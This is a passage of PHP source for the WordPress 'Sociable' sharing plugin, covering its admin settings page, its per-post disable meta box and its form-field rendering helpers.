echo$sociable_options["tagline"];?>" /> <DIV class="ToSociable" > <INPUT type="checkbox" <?php if (!empty($sociable_options["help_grow"])) echo "checked = 'checked'";?> name="sociable_options[help_grow]" id="LinkToSociable" /> <?php _e("Link to Sociable","sociable");?><BR/> <SPAN style="font-size:14px;"><?php _e("(Help us grow, please leave the link so others discover Sociable from your blog)","sociable");?></SPAN> </DIV> </DIV> </DIV> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Tagline-Title"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" ><?php _e("Icons to Include","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="IconsToInclude-Box" style=""> <DIV class="IconsToInclude-TXT" id="IconsToInclude-TXT" > <?php _e("Check the sites you want to appear on your blog.","sociable");?> </DIV> <BR/> <DIV style="font-size:13px"> <?php $check_tags = ""; if (isset($sociable_options["linksoptions"])){ if (!empty($sociable_options["linksoptions"])){ $check_tags = "checked"; } } ?> <input type="checkbox" <?php echo $check_tags;?> id="" name="sociable_options[linksoptions]" /> Accept include the blogplay.com tag into my share icons </DIV> <BR/> <?php self::do_site_selection_list(); ?> </DIV> <div class="soc_clear"></div> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="IconSize-Title" style="margin-top:20px;"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" ><?php _e("Icons Size","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" style="margin-left:-3px" id="IconSize-Content"> <?php $checked16 = ""; $checked32 = ""; $checked48 = ""; $checked64 = ""; if ($sociable_options["icon_size"] == 16) $checked16 = "checked='checked'"; if ($sociable_options["icon_size"] == 32) $checked32 = "checked='checked'"; if ($sociable_options["icon_size"] == 48) $checked48 = "checked='checked'"; if ($sociable_options["icon_size"] == 64) $checked64 = "checked='checked'"; //echo $checked16; ?> <SPAN class="IconSize-Item"> <INPUT value="16" type="radio" name="sociable_options[icon_size]" <?php echo $checked16;?> />16x16 Pixels </SPAN> <SPAN class="IconSize-Item"> <INPUT <?php echo$checked32;?> value="32" type="radio" name="sociable_options[icon_size]" />32x32 Pixels </SPAN> <SPAN class="IconSize-Item"> <INPUT <?php echo$checked48;?> value="48" type="radio" name="sociable_options[icon_size]"/>48x48 Pixels </SPAN> <SPAN class="IconSize-Item"> <INPUT <?php echo$checked64;?> value="64" type="radio" name="sociable_options[icon_size]" />64x64 Pixels </SPAN> </DIV> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="IconSize-Title" style="margin-top:20px;"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" ><?php _e("Icons Style","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="IconSize-Content" style="padding:20px;"> <?php $checked1 = ""; $checked2 = ""; $checked3 = ""; $checked4 = ""; $checked5 = ""; $checked6 = ""; if ($sociable_options["icon_option"] == "option1") $checked1 = "checked='checked'"; if ($sociable_options["icon_option"] == "option2") $checked2 = "checked='checked'"; if ($sociable_options["icon_option"] == "option3") $checked3 = "checked='checked'"; if ($sociable_options["icon_option"] == "option4") $checked4 = "checked='checked'"; if ($sociable_options["icon_option"] == "option5") $checked5 = "checked='checked'"; if ($sociable_options["icon_option"] == "option6") $checked6 = "checked='checked'"; $imagepath = isset( $sociable_options['sociable_imagedir'] ) ? $sociable_options['sociable_imagedir'] : '' ; if ($imagepath == "") { $imagepath = trailingslashit( SOCIABLE_HTTP_PATH ) . 'images/'; } else { $imagepath .= trailingslashit( $imagepath ); } //echo $imagepath; ?> <SPAN class="IconStyle-Item"> <INPUT name="sociable_options[icon_option]" <?php echo$checked1?> value="option1" type="radio" /> <IMG src="<?php echo$imagepath?>icon_styles/<?php echo$sociable_options["icon_size"]?>/option1_<?php echo$sociable_options["icon_size"]?>.jpg" /> </SPAN> <BR/><BR/> <SPAN class="IconStyle-Item"> <INPUT name="sociable_options[icon_option]" <?php echo$checked2?> value="option2" type="radio" /> <IMG src="<?php echo$imagepath?>icon_styles/<?php echo$sociable_options["icon_size"]?>/option2_<?php echo$sociable_options["icon_size"]?>.jpg" /> </SPAN> <BR/><BR/> <SPAN class="IconStyle-Item"> <INPUT name="sociable_options[icon_option]" <?php echo$checked3?> value="option3" type="radio" /> <IMG src="<?php echo$imagepath?>icon_styles/<?php echo$sociable_options["icon_size"]?>/option3_<?php echo$sociable_options["icon_size"]?>.jpg" /> </SPAN> <BR/><BR/> <SPAN class="IconStyle-Item"> <INPUT name="sociable_options[icon_option]" <?php echo$checked4?> value="option4" type="radio" /> <IMG src="<?php echo$imagepath?>icon_styles/<?php echo$sociable_options["icon_size"]?>/option4_<?php echo$sociable_options["icon_size"]?>.jpg" /> </SPAN> <BR/><BR/> <SPAN class="IconStyle-Item"> <INPUT name="sociable_options[icon_option]" <?php echo$checked5?> value="option5" type="radio" /> <IMG src="<?php echo$imagepath?>icon_styles/<?php echo$sociable_options["icon_size"]?>/option5_<?php echo$sociable_options["icon_size"]?>.jpg" /> </SPAN> <BR/><BR/> <SPAN class="IconStyle-Item"> <INPUT name="sociable_options[icon_option]" <?php echo$checked6?> value="option6" type="radio" /> <IMG src="<?php echo$imagepath?>icon_styles/16/option_6_16.png" /> </SPAN> <BR/><BR/> </DIV> <TABLE class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0" onclick="hideOrShow('Locations');" > <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" id="Locations-Title" ><span id="Locations-Tab">+ </span><?php _e("Locations","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="Locations-Content" style="display:none;" > <DIV class="Locations-TXT" id="Locations-TXT" ><?php _e("Please select the locations that you wish to allow the Sociable plugin to insert itself.","sociable");?></DIV> <BR/> <DIV align="center" style="width:100%;"> <TABLE align="center" class="Locations-List" cellspacing="0" border=0 cellpadding="10"> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Home page","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_front_page"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_front_page]" id="HomePage" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("The front page of the blog (if set to a static page), or the main blog page (if set to your latest posts).","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Blog page","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_home"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_home]" id="BlogPage" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("The home page of the blog if is set to your latest posts, or the posts page if the home page is set to a static page","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Posts","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_single"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_single]" id="Posts" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Single post pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Pages","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_page"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_page]" id="Pages" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Individual Wordpress pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Category archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_category"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_category]" id="CategoryArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Category archive pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Date archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_date"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_date]" id="DateArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Date archive pages","sociable");?> </SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Tag archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_tag"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_tag]" id="TagArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Tag archive pages","sociable");?> </SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Author archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_author"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_author]" id="AuthorArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Author archive pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Search results","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_search"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_search]" id="SearchResults" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Search results pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("RSS feeds","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["locations"]["is_rss"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[locations][is_rss]" id="RssFeeds" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("RSS feeds","sociable");?></SPAN> </TD> </TR> </TABLE> <BR/><BR/> </DIV> </DIV> <TABLE class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0" onclick="hideOrShow('GeneralOptions');"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" id="GeneralOptions-Title" ><span id="GeneralOptions-Tab"> + </span> <?php _e("General Options","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="GeneralOptions-Content" style="display:none;" > <BR/> <DIV align="center" style="width:100%;"> <TABLE align="center" class="GeneralOptions-List" cellspacing="0" border=0 cellpadding ="10" > <TR valign="top" > <TD align="right" class="Title" ><?php _e("Automatic mode","sociable")?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["automatic_mode"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[automatic_mode]" id="AutoMode" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Do you want to automatically use Sociable on the locations specified?","sociable");?> </SPAN> <BR/> <SPAN class="sTXT"> <?php _e("If this is unchecked, you will have to use the shortcode[sociable/] or template","sociable");?> tag ?php if( function_exists( do_sociable() ) ){ do_sociable(); } </SPAN> </TD> </TR> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Use styleSheet","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["use_stylesheet"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[use_stylesheet]" id="UseStyleSheets" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Do you want to use the default stylesheet for sociable?","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Use your own icons","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["custom_icons"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[custom_icons]" id="UseStyleSheets" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Do you want to use your own icons for sociable?","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Use images","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["use_images"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[use_images]" id="UseImages" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Do you want to use the Sociable images? If not, the plugin will insert plain text links.","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Use alpha mask","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["use_alphamask"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[use_alphamask]" id="AlphaMask" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Do you want to use alpha masks on the images (available only on the Original Sociable)?","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Bottom and Top","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["topandbottom"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[topandbottom]" id="TopAndBottom" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Do you want to use Sociable plugin to show up at the top and bottom?","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Open in new window","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($sociable_options["new_window"])) echo "checked='checked'"?> type="checkbox" name="sociable_options[new_window]" id="OpenNewWindow" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("do you want to open the links in a new window?","sociable");?></SPAN> </TD> </TR> </TABLE> <BR/><BR/> </DIV> </DIV> <table class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0" onclick="hideOrShow('Active');" > <tr> <td class="Border-Left" ></td> <td class="BG-Middle" id="Active-Title" ><span id="Active-Tab">+ </span><?php _e("Active Sociable Classic","sociable");?></td><td class="Border-Right"></td> </tr> </table> <div style="display: block;" id="Active-Content" class="Content-Box"> <br /> <div align="center" style="width:100%;"> <table align="center" cellspacing="0" cellpadding="10" border="0" class="GeneralOptions-List"> <tbody><tr valign="top"> <td align="right" class="Title">Active Sociable Classic</td> <td align="left" style="width:5px;"> <input <?php if(isset($sociable_options["active"])) echo "checked='checked'"?> type="checkbox" id="active" name="sociable_options[active]" /></td> <td align="left" class="Content"> <span class="TXT">Check if you want Sociable Classic enable </span> <br /> </td> </tr> </tbody></table> <br /><br /> </div> </div> <table class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0"> <tr> <td class="Border-Left" ></td> <td class="BG-Middle" id="Active-Title" ><?php _e(" Send my config","sociable");?></td><td class="Border-Right"></td> </tr> </table> <div style="display: block;" id="Active-Content" class="Content-Box"> <br /> <div align="center" style="width:100%;"> <table align="center" cellspacing="0" cellpadding="10" border="0" class="GeneralOptions-List"> <tbody><tr valign="top"> <td align="right" class="Title">Send my config</td> <td align="left" style="width:5px;"> <?php $checked = ""; if (!empty($sociable_options["pixel"])){ $checked = "checked='checked'"; } ?> <input <?php echo $checked ?> type="checkbox" id="active" name="sociable_options[pixel]" /></td> <td align="left" class="Content"> <span class="TXT"> Check if you want help Sociable grow. </br> This information be used only to improve Sociable. </br> You accept send us your blog configuration and blog name </span> <br /> </td> </tr> </tbody></table> <br /><br /> </div> </div> <?php //<HR style="height:10px;background:#18305d;"/>?> <?php settings_fields( 'sociable_options_group' ); ?> </FORM> <DIV class="Content-Box" > <DIV id="ActionsBar"> <DIV class="SaveChanges" onClick="document.getElementById('form1').submit();" style="cursor:pointer;line-height:15px;"><br/> <span style="margin:30px;"><?php _e("Save Changes","sociable");?></span> </DIV> <DIV class="ResetSociable" id="sociable_reset" name="sociable_reset" onClick="document.getElementById('sociable_reset_form').submit();" style="cursor:pointer;line-height:15px;font-size:12px;"><br/> <span style="margin:40px;margin-left:35px;"><?php _e("Reset Sociable","sociable");?></span> </DIV> <DIV class="UninstallSociable" onClick="document.getElementById('sociable_remove_form').submit();" style="cursor:pointer;line-height:15px;font-size:12px;"><br/> <span style="margin:25px;margin-left:20px;"><?php _e("Completly Uninstall Sociable","sociable");?></span> </DIV> </DIV> </DIV> <br> <br> <?php //do_settings_sections( 'sociable_options' ); ?> <form id="sociable_reset_form" action="" method="POST"> <?php wp_nonce_field('sociable-reset'); ?> <input type="hidden" id="sociable_reset" name="sociable_reset" value="1"> <?php //submit_button( __( 'Reset Sociable' ) , 'primary', 'sociable_reset', false ); ?> </form> </div> <?php } function add_meta_box( $page ){ add_meta_box( 'sociable_off' , __( 'Disable sociable' ), array( 'sociable_Admin_Options' , 'create_meta_box' ) , $page, 'side', 'default' ); } function create_meta_box(){ global $post; $sociableoff = false; $checked = ''; if ( get_post_meta( $post->ID,'_sociableoff',true ) ) { $checked = 'checked="checked"'; } wp_nonce_field( 'update_sociable_off' , 'sociable_nonce' ); echo '<input type="checkbox" id="sociableoff" name="sociableoff" ' . $checked . ' /> <p class="description">' . __('Check This To Disable Sociable 2 On This Post Only.') . '</p>'; } function save_post( $post_id ){ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return $post_id; // verify this came from the our screen and with proper authorization, // because save_post can be triggered at other times $nonce = ( isset( $_POST['sociable_nonce'] ) ) ? $_POST['sociable_nonce'] : false ; if ( ! $nonce || ! wp_verify_nonce( $nonce, 'update_sociable_off' ) ) return $post_id; // Check permissions if ( 'page' == $_POST['post_type'] ){ if ( !current_user_can( 'edit_page', $post_id ) ) return; } else { if ( !current_user_can( 'edit_post', $post_id ) ) return; } //Lets Do This if( isset( $_POST['sociableoff'] ) ){ update_post_meta( $post_id, '_sociableoff' , $_POST['sociableoff'] ); } else { delete_post_meta( $post_id, '_sociableoff' ); } return $post_id; } /** * This Function Runs Before The Options Are Printed Out. */ function general_options_callback(){ return true; } /** * This Function Runs Before The Location Options Are Echoed Out. */ function location_options_callback(){ echo '<p>' . __( 'Please Select The Locations That You Wish To Allow The Sociable 2 Plugin To Insert The Links.' ) . '</p>'; } /** * Adds A Function For The add_settings_field(); function * * should be passed: * $data = array( * 'id' => 'field_id_and_name', * 'description' => 'field Description Should Go Here, This is Not The Title, Rather The Description' * ); */ function Checkbox( $data ){ global $sociable_options; //Save The Locations As a seperate array option if( isset( $data['locations'] ) ){ $name = 'sociable_options[locations][' . $data['id'] . ']'; $checked = ( isset( $sociable_options['locations'][$data['id']] ) ) ? 'checked="checked"' : '' ; } else { $name = 'sociable_options[' . $data['id'] . ']'; $checked = ( isset( $sociable_options[$data['id']] ) ) ? 'checked="checked"' : '' ; } echo '<input ' . $checked . ' id="' . $data['id'] . '" name="' . $name . '" type="checkbox" /> <span class="description">' . $data['description'] . '</span>'; } function TextInput( $data ){ global $sociable_options; $value = ( isset( $sociable_options[$data['id']] ) ) ? $sociable_options[$data['id']] : ''; echo '<input id="' . $data['id'] . '" name="sociable_options[' . $data['id'] . ']" size="40" type="text" value="' . esc_attr( $value ) . '" /> <br /><span class="description">' . $data['description'] . '</span>'; } function TextArea( $data ){ global $sociable_options; $value = ( isset( $sociable_options[$data['id']] ) ) ? $sociable_options[$data['id']] : ''; echo '<textarea id="' . $data['id'] . '" name="sociable_options[' . $data['id'] . ']" >' . $value . '</textarea> <br /><span class="description">' . $data['description'] . '</span>'; } function radio( $data ){ global $sociable_options; $cur_val = ( isset( $sociable_options[$data['id']] ) ) ? $sociable_options[$data['id']] : 0 ; echo '<span class="description">' . $data['description'] . '</span><br />'; foreach( $data['options'] as $value => $option ){ $selected = ( $value == $cur_val ) ? 'checked="checked"' : '' ; echo '<input type="radio" name="sociable_options[' . $data['id'] . ']" value="' . $value . '" ' . $selected . ' /> <span>' . $option . '</span><br />'; } } } function add_ie7() { echo'<!--[if lt IE 7]> <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE7.js" type="text/javascript"></script> <![endif]--> <!--[if lt IE 8]> <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> <![endif]--> <!--[if lt IE 9]> <script src="http://ie7-js.googlecode.com/svn/version/2.1(beta4)/IE9.js"></script> <![endif]-->'; } //add_action('admin_head', 'add_ie7' ); ?>